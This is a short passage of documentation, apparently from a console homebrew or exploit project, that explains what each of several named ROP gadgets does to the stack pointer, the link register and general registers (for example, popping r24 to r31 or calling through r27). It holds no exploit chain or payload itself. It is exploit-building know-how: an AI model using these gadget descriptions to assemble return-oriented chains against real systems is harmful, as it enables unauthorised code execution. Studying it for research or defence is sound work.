Documentation for the addrs loaded from the above:
$ROP_POPJUMPLR_STACK12 Load LR from stackreg+12, add stackreg with 8, then jump to LR.
$ROP_POPJUMPLR_STACK20 Add stackreg with 16, load LR from stackreg+4 then jump to LR.
$ROP_CALLFUNC Call the code with the address stored in r27, with: r3=r29, r4=r31, r5=r25, r6=r24, r7=r28. Then once it returns from that code: r3=r29. Load r20..r31 from the data starting at stackreg+8. Load LR from stackreg+60, add stackreg with 56, then jump to LR.
$ROP_CALLR28_POP_R28_TO_R31 Set r4 to r31, then call the code with the address stored in r28. Load r28..r31 from the data starting at stackreg+8. Load LR from stackreg+28. Add stackreg with 24, then jump to LR.
$ROP_POP_R28R29R30R31 Load r28..r31 from the data starting at stackreg+8. Load LR from stackreg+28, add stackreg with 24, then jump to LR.
$ROP_POP_R27 Load r27 from stackreg+12. Load LR from stackreg+36, add stackreg with 32, then jump to LR.
$ROP_POP_R24_TO_R31 Load r24..r31 with the data starting at stackreg+16. Load LR from stackreg+52. Add stackreg with 48, then jump to LR.
